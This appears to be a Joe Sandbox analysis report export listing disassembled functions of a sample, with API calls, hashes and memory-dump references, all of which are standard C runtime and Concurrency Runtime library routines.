Associated: 0000000F.00000002.2309923969.000000000034B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2e0000_B88B.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 96b578de23c452a2cc279d296490fe41f75ed4c72592488604f5f9b98a0ecb96
Instruction ID: dd8d852aa26d3aeadfb5573ea98cae9c9a2fba41584a950711a16bd16c4b4563
Opcode Fuzzy Hash: 96b578de23c452a2cc279d296490fe41f75ed4c72592488604f5f9b98a0ecb96
Instruction Fuzzy Hash: 5131C4759012189BCB26DF68D889BDDBBB8BF18310F5041EAE41CA7291EB709F818F45

Uniqueness

Uniqueness Score: -1.00%

Function 00301816 Relevance: 1.6, APIs: 1, Instructions: 144COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 0030182C

Memory Dump Source

Source File: 0000000F.00000002.2308996702.00000000002E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000F.00000002.2308261482.00000000002E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309066469.0000000000334000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309768317.0000000000346000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309850316.0000000000348000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309886218.0000000000349000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309923969.000000000034B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2e0000_B88B.jbxd

Yara matches

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: 1b59989d42f6cdf5712756f7ff5e755c37d2587ef4328cbfc90b95b9faac5bfa
Instruction ID: bdeb7103e22e5e3b1be48071029cc6f91e3a709b76b5240c2918bc1cb444cabe
Opcode Fuzzy Hash: 1b59989d42f6cdf5712756f7ff5e755c37d2587ef4328cbfc90b95b9faac5bfa
Instruction Fuzzy Hash: 5651A0B6E012058FDB16CF59D8E27AABBF5FB49310F25802AC416EB290D774AD40CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00322C30 Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 00322C74

Part of subcall function 0032280D: _free.LIBCMT ref: 0032282A
Part of subcall function 0032280D: _free.LIBCMT ref: 0032283C
Part of subcall function 0032280D: _free.LIBCMT ref: 0032284E
Part of subcall function 0032280D: _free.LIBCMT ref: 00322860
Part of subcall function 0032280D: _free.LIBCMT ref: 00322872
Part of subcall function 0032280D: _free.LIBCMT ref: 00322884
Part of subcall function 0032280D: _free.LIBCMT ref: 00322896
Part of subcall function 0032280D: _free.LIBCMT ref: 003228A8
Part of subcall function 0032280D: _free.LIBCMT ref: 003228BA
Part of subcall function 0032280D: _free.LIBCMT ref: 003228CC
Part of subcall function 0032280D: _free.LIBCMT ref: 003228DE
Part of subcall function 0032280D: _free.LIBCMT ref: 003228F0
Part of subcall function 0032280D: _free.LIBCMT ref: 00322902

_free.LIBCMT ref: 00322C69

Part of subcall function 0031E175: HeapFree.KERNEL32(00000000,00000000,?,0032299E,?,00000000,?,?,?,003229C5,?,00000007,?,?,00322DC7,?), ref: 0031E18B
Part of subcall function 0031E175: GetLastError.KERNEL32(?,?,0032299E,?,00000000,?,?,?,003229C5,?,00000007,?,?,00322DC7,?,?), ref: 0031E19D

_free.LIBCMT ref: 00322C8B
_free.LIBCMT ref: 00322CA0
_free.LIBCMT ref: 00322CAB
_free.LIBCMT ref: 00322CCD
_free.LIBCMT ref: 00322CE0
_free.LIBCMT ref: 00322CEE
_free.LIBCMT ref: 00322CF9
_free.LIBCMT ref: 00322D31
_free.LIBCMT ref: 00322D38
_free.LIBCMT ref: 00322D55
_free.LIBCMT ref: 00322D6D

Strings

`g4, xrefs: 00322C46
8b4, xrefs: 00322D1C

Memory Dump Source

Source File: 0000000F.00000002.2308996702.00000000002E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000F.00000002.2308261482.00000000002E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309066469.0000000000334000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309768317.0000000000346000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309850316.0000000000348000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309886218.0000000000349000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309923969.000000000034B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2e0000_B88B.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID: 8b4$`g4
API String ID: 161543041-2079489728
Opcode ID: 17c56f9e3b113f183b0a59e9b08ec9ecb50e51f81105fd42d6118936597fe300
Instruction ID: d774809f84c20c508cd2bffdfa96cfe0c79c380995ae3965de429196488d721a
Opcode Fuzzy Hash: 17c56f9e3b113f183b0a59e9b08ec9ecb50e51f81105fd42d6118936597fe300
Instruction Fuzzy Hash: 53315C71A00214BFEB27AA39EC45B9B73E8AF44710F154829F859DB161DF76ED809B10

Uniqueness

Uniqueness Score: -1.00%

Function 0031613F Relevance: 22.7, APIs: 15, Instructions: 231COMMON

Download Yara Rule

APIs

Concurrency::details::WorkSearchContext::PreSearch.LIBCONCRT ref: 00316151

Part of subcall function 00315F4F: Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 00315F72

Concurrency::details::SchedulerBase::PeriodicScan.LIBCONCRT ref: 00316172
Concurrency::details::WorkSearchContext::CheckPriorityList.LIBCONCRT ref: 0031617F
Concurrency::details::SchedulerBase::GetNextPriorityObject.LIBCMT ref: 003161CD
Concurrency::details::SchedulerBase::AcquireQuickCacheSlot.LIBCMT ref: 00316254
Concurrency::details::WorkSearchContext::QuickSearch.LIBCMT ref: 00316267
Concurrency::details::WorkSearchContext::SearchCacheLocal_Runnables.LIBCONCRT ref: 003162B4

Memory Dump Source

Source File: 0000000F.00000002.2308996702.00000000002E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000F.00000002.2308261482.00000000002E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309066469.0000000000334000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309768317.0000000000346000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309850316.0000000000348000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309886218.0000000000349000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309923969.000000000034B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2e0000_B88B.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Search$Work$Context::$Base::Scheduler$CachePriorityQuick$AcquireCheckItemItem::ListLocal_NextObjectPeriodicRunnablesScanSlot
String ID:
API String ID: 2530155754-0
Opcode ID: 57bc47f985e79fd291d585cabb786821afd78fd5078b28a32b8fd3ae73e9436c
Instruction ID: 0a9b90d4996b3a1c589b8256d31b54c0ae179835a5b32c081a39d52d8d35a841
Opcode Fuzzy Hash: 57bc47f985e79fd291d585cabb786821afd78fd5078b28a32b8fd3ae73e9436c
Instruction Fuzzy Hash: 4981CE34800249ABDF1B9F94C942BFE7B75AF4A304F044498EC516B2A2C772CDA6DB61

Uniqueness

Uniqueness Score: -1.00%

Function 00307F4F Relevance: 21.2, APIs: 14, Instructions: 189timeregistryCOMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 00307FA9

Part of subcall function 00307D8A: InitializeSListHead.KERNEL32(?,?,00000000,?,?), ref: 00307E56
Part of subcall function 00307D8A: InitializeSListHead.KERNEL32(?), ref: 00307E60

ListArray.LIBCONCRT ref: 00307FDD
Hash.LIBCMT ref: 00308046
Hash.LIBCMT ref: 00308056
InitializeSListHead.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00001001), ref: 003080EB
InitializeSListHead.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00001001), ref: 003080F8
InitializeSListHead.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00001001), ref: 00308105
InitializeSListHead.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00001001), ref: 00308112

Part of subcall function 0030D6B2: std::bad_exception::bad_exception.LIBCMT ref: 0030D6D4

RegisterWaitForSingleObject.KERNEL32(?,00000000,0030B486,?,000000FF,00000000), ref: 0030819A
Concurrency::details::RegisterAsyncTimerAndLoadLibrary.LIBCONCRT ref: 003081BC
GetLastError.KERNEL32(00308EFC,?,?,00000000,?,?), ref: 003081CE
Concurrency::details::platform::__CreateTimerQueueTimer.LIBCMT ref: 003081EB

Part of subcall function 0030361A: CreateTimerQueueTimer.KERNEL32(?,?,00000000,?,?,00308EFC,00000008,?,003081F0,?,00000000,0030B477,?,7FFFFFFF,7FFFFFFF,00000000), ref: 00303632

Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 00308215

Memory Dump Source

Source File: 0000000F.00000002.2308996702.00000000002E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000F.00000002.2308261482.00000000002E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309066469.0000000000334000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309768317.0000000000346000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309850316.0000000000348000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309886218.0000000000349000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309923969.000000000034B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2e0000_B88B.jbxd

Yara matches

Similarity

API ID: List$HeadInitialize$Timer$ArrayCreateHashQueueRegister$AsyncConcurrency::details::Concurrency::details::platform::__Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorErrorLastLibraryLoadObjectSingleWaitstd::bad_exception::bad_exception
String ID:
API String ID: 2750799244-0
Opcode ID: b306f3abecc73bc58901fbd0e9acbce317d45b029da91280ab76dd89f19b8ba7
Instruction ID: fd6257a2e28fc37159ccbeb675833efca30b46b36083f0c8857da997a4754f82
Opcode Fuzzy Hash: b306f3abecc73bc58901fbd0e9acbce317d45b029da91280ab76dd89f19b8ba7
Instruction Fuzzy Hash: 7D8131B0A12A56BBD70ADF74C895BD9FBACBF08710F10421AF52897281DBB46564CBD0

Uniqueness

Uniqueness Score: -1.00%

Function 0031249A Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 148windowCOMMON

Download Yara Rule

APIs

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 003124EA

Part of subcall function 0030C9A0: Concurrency::details::ContextBase::ThrowContextEvent.LIBCONCRT ref: 0030C9C1

Concurrency::details::InternalContextBase::SpinUntilBlocked.LIBCMT ref: 00312503
Concurrency::location::_Assign.LIBCMT ref: 00312519
Concurrency::details::ReferenceCountedQuickBitSet::InterlockedSet.LIBCONCRT ref: 00312586
Concurrency::details::SchedulerBase::ClearQuickCacheSlot.LIBCMT ref: 0031258E
Concurrency::details::VirtualProcessor::MakeAvailable.LIBCONCRT ref: 003125B5
Concurrency::details::VirtualProcessor::EnsureAllTasksVisible.LIBCONCRT ref: 003125C1
Concurrency::details::SchedulerBase::VirtualProcessorIdle.LIBCONCRT ref: 003125F9
Concurrency::details::VirtualProcessor::Deactivate.LIBCONCRT ref: 00312618
Concurrency::details::SchedulerBase::VirtualProcessorIdle.LIBCONCRT ref: 00312626
Concurrency::details::ReferenceCountedQuickBitSet::InterlockedClear.LIBCONCRT ref: 0031264D

Strings

3/, xrefs: 003124D5, 00312520, 003125E8, 00312607

Memory Dump Source

Source File: 0000000F.00000002.2308996702.00000000002E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000F.00000002.2308261482.00000000002E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309066469.0000000000334000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309768317.0000000000346000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309850316.0000000000348000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309886218.0000000000349000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309923969.000000000034B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2e0000_B88B.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::$ContextVirtual$Processor::QuickScheduler$ClearCountedEventIdleInterlockedProcessorReferenceSet::$AssignAvailableBlockedCacheConcurrency::location::_DeactivateEnsureInternalMakeSlotSpinTasksThrowTraceUntilVisible
String ID: 3/
API String ID: 3608406545-2584162468
Opcode ID: afc007820da1c68eef878f3a1fa71cfba2aceb5833f939df1488a66a4f9c1857
Instruction ID: 2a697e167e61b862b427492c593f28832c198b6150057446db932f6aff36be21
Opcode Fuzzy Hash: afc007820da1c68eef878f3a1fa71cfba2aceb5833f939df1488a66a4f9c1857
Instruction Fuzzy Hash: 255162347002049FDB0AEF54C4D5BAAB7A6EF4D310F1540A9ED469F287CB74AD918BA1

Uniqueness

Uniqueness Score: -1.00%

Function 003062A2 Relevance: 19.7, APIs: 13, Instructions: 223COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::ResourceManager::RetrieveSystemVersionInformation.LIBCONCRT ref: 003062B1

Part of subcall function 0030759D: GetVersionExW.KERNEL32(?), ref: 003075C1
Part of subcall function 0030759D: Concurrency::details::WinRT::Initialize.LIBCONCRT ref: 00307660

Concurrency::details::ResourceManager::CaptureProcessAffinity.LIBCONCRT ref: 003062C5
Concurrency::details::ResourceManager::GetTopologyInformation.LIBCONCRT ref: 003062E6
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 0030634F
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 00306383

Part of subcall function 0030425D: Concurrency::details::ResourceManager::AffinityRestriction::ApplyAffinityLimits.LIBCMT ref: 0030427D

Concurrency::details::ResourceManager::GetTopologyInformation.LIBCONCRT ref: 00306403

Part of subcall function 00305DCC: Concurrency::details::platform::__GetLogicalProcessorInformationEx.LIBCONCRT ref: 00305DE0

Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 0030644B

Part of subcall function 00304232: Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 0030424E

Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 0030645F
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 00306470
Concurrency::details::ResourceManager::CleanupTopologyInformation.LIBCMT ref: 003064BD
Concurrency::details::ResourceManager::CaptureProcessAffinity.LIBCONCRT ref: 003064E2
Concurrency::details::ResourceManager::AffinityRestriction::FindGroupAffinity.LIBCONCRT ref: 003064EE

Memory Dump Source

Source File: 0000000F.00000002.2308996702.00000000002E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000F.00000002.2308261482.00000000002E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309066469.0000000000334000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309768317.0000000000346000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309850316.0000000000348000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309886218.0000000000349000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309923969.000000000034B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2e0000_B88B.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Manager::Resource$Affinity$Apply$Restrictions$Information$Topology$CaptureProcessRestriction::Version$CleanupConcurrency::details::platform::__FindGroupInitializeLimitsLogicalProcessorRetrieveSystem
String ID:
API String ID: 4140532746-0
Opcode ID: 1ce896c049242d8793034e3e97d1e636ca419bc73e77d0ea45d0cad2e4a822c4
Instruction ID: f0c2facb836712d4644c86805027037a1d986a8cd5eec9cd74d256f737645220
Opcode Fuzzy Hash: 1ce896c049242d8793034e3e97d1e636ca419bc73e77d0ea45d0cad2e4a822c4
Instruction Fuzzy Hash: 3A81F775A021168FCF06CFA9E8B26BEB7F9FB45314B15406ED541AB2D4DB30AD54CB80

Uniqueness

Uniqueness Score: -1.00%

Function 002FFEC2 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 138threadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 002FFEEA
GetCurrentThreadId.KERNEL32 ref: 002FFF07
GetCurrentThreadId.KERNEL32 ref: 002FFF1C
_xtime_get.LIBCPMT ref: 002FFF68
GetCurrentThreadId.KERNEL32 ref: 002FFF9A
__Xtime_diff_to_millis2.LIBCPMT ref: 002FFFB2
_xtime_get.LIBCPMT ref: 002FFFD1
GetCurrentThreadId.KERNEL32 ref: 002FFFDB
GetCurrentThreadId.KERNEL32 ref: 00300032

Strings

3/, xrefs: 002FFEFC, 002FFF32, 002FFFBC, 002FFFEE
y0., xrefs: 002FFF62, 002FFFAB, 002FFFCB, 002FFF67, 002FFFAE, 002FFFD0

Memory Dump Source

Source File: 0000000F.00000002.2308996702.00000000002E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000F.00000002.2308261482.00000000002E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309066469.0000000000334000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309768317.0000000000346000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309850316.0000000000348000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309886218.0000000000349000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309923969.000000000034B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2e0000_B88B.jbxd

Yara matches

Similarity

API ID: CurrentThread$_xtime_get$Xtime_diff_to_millis2
String ID: 3/$y0.
API String ID: 3943753294-4015851721
Opcode ID: 4f30c72a223501df3397b95b2b11142f4cb63da742b9faa277828e6efaa3d0e5
Instruction ID: aeaf7f9948b6cc9759999cce6653e0abdfe9239b5e56fba3eb03b30ab03e6553
Opcode Fuzzy Hash: 4f30c72a223501df3397b95b2b11142f4cb63da742b9faa277828e6efaa3d0e5
Instruction Fuzzy Hash: C3515C3191020ACFCF16DF24DAD1AA9B7B8EF05350F26417AE9069B6D6D730ED81CB54

Uniqueness

Uniqueness Score: -1.00%

Function 0031E6BB Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 69COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0031E6D1

Part of subcall function 0031E175: HeapFree.KERNEL32(00000000,00000000,?,0032299E,?,00000000,?,?,?,003229C5,?,00000007,?,?,00322DC7,?), ref: 0031E18B
Part of subcall function 0031E175: GetLastError.KERNEL32(?,?,0032299E,?,00000000,?,?,?,003229C5,?,00000007,?,?,00322DC7,?,?), ref: 0031E19D

_free.LIBCMT ref: 0031E6DD
_free.LIBCMT ref: 0031E6E8
_free.LIBCMT ref: 0031E6F3
_free.LIBCMT ref: 0031E6FE
_free.LIBCMT ref: 0031E709
_free.LIBCMT ref: 0031E714
_free.LIBCMT ref: 0031E71F
_free.LIBCMT ref: 0031E72A
_free.LIBCMT ref: 0031E738

Strings

(q3, xrefs: 0031E6C8

Memory Dump Source

Source File: 0000000F.00000002.2308996702.00000000002E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000F.00000002.2308261482.00000000002E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309066469.0000000000334000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309768317.0000000000346000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309850316.0000000000348000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309886218.0000000000349000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309923969.000000000034B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2e0000_B88B.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID: (q3
API String ID: 776569668-1089202155
Opcode ID: b441dc0f23b32c16923b6b34005df6cb77d26e2b419cf3da5a9a0cab8abcb01c
Instruction ID: 85e8804d1194427cf91db9a3d041db13ee623e7eec1227defdfbfd07fd7ed411
Opcode Fuzzy Hash: b441dc0f23b32c16923b6b34005df6cb77d26e2b419cf3da5a9a0cab8abcb01c
Instruction Fuzzy Hash: B4216676900148BFCB46EF94C881DDE7BB9BF08790F4145A6F9159F121DB32EA949B80

Uniqueness

Uniqueness Score: -1.00%

Function 003034E1 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 60libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll,?,00000000,00000000,?,?,?,00307657), ref: 003034EF
GetProcAddress.KERNEL32(00000000,SetThreadGroupAffinity), ref: 003034FD
GetProcAddress.KERNEL32(00000000,GetThreadGroupAffinity), ref: 0030350B
GetProcAddress.KERNEL32(00000000,GetCurrentProcessorNumberEx), ref: 00303539
GetLastError.KERNEL32(?,?,?,00307657), ref: 00303554
GetLastError.KERNEL32(?,?,?,00307657), ref: 00303560
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 00303576

Strings

GetThreadGroupAffinity, xrefs: 00303503
kernel32.dll, xrefs: 003034EA
GetCurrentProcessorNumberEx, xrefs: 0030352E
SetThreadGroupAffinity, xrefs: 003034F7

Memory Dump Source

Source File: 0000000F.00000002.2308996702.00000000002E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000F.00000002.2308261482.00000000002E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309066469.0000000000334000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309768317.0000000000346000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309850316.0000000000348000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309886218.0000000000349000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309923969.000000000034B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2e0000_B88B.jbxd

Yara matches

Similarity

API ID: AddressProc$ErrorLast$Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorHandleModule
String ID: GetCurrentProcessorNumberEx$GetThreadGroupAffinity$SetThreadGroupAffinity$kernel32.dll
API String ID: 1654681794-465693683
Opcode ID: 6060edc706f4744964b72dee74dc973922a37a70cb6f82be0c480af0ed3d161a
Instruction ID: 52f89ed2c5f27771f2fa45641e56ae13a9639774d33156167ac66056b76e38aa
Opcode Fuzzy Hash: 6060edc706f4744964b72dee74dc973922a37a70cb6f82be0c480af0ed3d161a
Instruction Fuzzy Hash: AD01F975705301ABD3037BB9ACEEAAB77ECDE01751F10041AF602DA1E1EF74E6044664

Uniqueness

Uniqueness Score: -1.00%

Function 00318D15 Relevance: 17.8, APIs: 7, Strings: 3, Instructions: 308COMMONLIBRARYCODE

Download Yara Rule

APIs

IsInExceptionSpec.LIBVCRUNTIME ref: 00318E10
type_info::operator==.LIBVCRUNTIME ref: 00318E37
___TypeMatch.LIBVCRUNTIME ref: 00318F43
CatchIt.LIBVCRUNTIME ref: 00318F98
IsInExceptionSpec.LIBVCRUNTIME ref: 0031901E
_UnwindNestedFrames.LIBCMT ref: 003190A5
CallUnexpected.LIBVCRUNTIME ref: 003190C0

Strings

csm, xrefs: 00318E6E
csm, xrefs: 00318DBD
csm, xrefs: 00318D50

Memory Dump Source

Source File: 0000000F.00000002.2308996702.00000000002E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000F.00000002.2308261482.00000000002E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309066469.0000000000334000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309768317.0000000000346000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309850316.0000000000348000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309886218.0000000000349000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309923969.000000000034B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2e0000_B88B.jbxd

Yara matches

Similarity

API ID: ExceptionSpec$CallCatchFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 4234981820-393685449
Opcode ID: 430c6a0a15b5da8b498d6bc2a688f9e620a573aa93cf7db2b85481ab84e699dc
Instruction ID: 804bf06b3b84736e4208530931124bea48fc807bf194abbfed9a8e2c3290d6db
Opcode Fuzzy Hash: 430c6a0a15b5da8b498d6bc2a688f9e620a573aa93cf7db2b85481ab84e699dc
Instruction Fuzzy Hash: A4C17A71C002099FCF2ADFA4D890AEEBBB5BF1C310F15455AE8116B242DB31D992CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 003163DE Relevance: 16.7, APIs: 11, Instructions: 222COMMON

Download Yara Rule

APIs

Concurrency::details::WorkSearchContext::PreSearch.LIBCONCRT ref: 003163F0

Part of subcall function 00315F4F: Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 00315F72

Concurrency::details::SchedulerBase::PeriodicScan.LIBCONCRT ref: 00316411
Concurrency::details::WorkSearchContext::CheckPriorityList.LIBCONCRT ref: 0031641E
Concurrency::details::SchedulerBase::GetNextPriorityObject.LIBCMT ref: 0031646C
Concurrency::details::WorkSearchContext::SearchCacheLocal_Unrealized.LIBCONCRT ref: 00316514
Concurrency::details::WorkSearchContext::SearchCacheLocal_Realized.LIBCONCRT ref: 00316546

Memory Dump Source

Source File: 0000000F.00000002.2308996702.00000000002E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000F.00000002.2308261482.00000000002E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309066469.0000000000334000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309768317.0000000000346000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309850316.0000000000348000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309886218.0000000000349000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309923969.000000000034B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2e0000_B88B.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Search$Work$Context::$Base::CacheLocal_PriorityScheduler$CheckItemItem::ListNextObjectPeriodicRealizedScanUnrealized
String ID:
API String ID: 1256429809-0
Opcode ID: 347724f0fee7af587384a7e9945ae9ad92ef31e757f0371a5867c7c0dbe42004
Instruction ID: 2e94f8632e52b99c4a098b861488bd151d83c2ebfbdf6f48961a21bea676c27e
Opcode Fuzzy Hash: 347724f0fee7af587384a7e9945ae9ad92ef31e757f0371a5867c7c0dbe42004
Instruction Fuzzy Hash: 93719170900209AFDF0BDF94C992AFEBB76AF4A304F054099EC516B252CB32DD95DB61

Uniqueness

Uniqueness Score: -1.00%

Function 0030ADD5 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 80threadCOMMON

Download Yara Rule

APIs

Concurrency::details::SchedulingNode::FindMatchingVirtualProcessor.LIBCONCRT ref: 0030AE21
SwitchToThread.KERNEL32(?), ref: 0030AE44
Concurrency::details::SchedulingNode::FindMatchingVirtualProcessor.LIBCONCRT ref: 0030AE63
Concurrency::details::InternalContextBase::GetAndResetOversubscribedVProc.LIBCMT ref: 0030AE7F
Concurrency::details::VirtualProcessor::MarkForRetirement.LIBCONCRT ref: 0030AE8A
std::invalid_argument::invalid_argument.LIBCONCRT ref: 0030AEB1

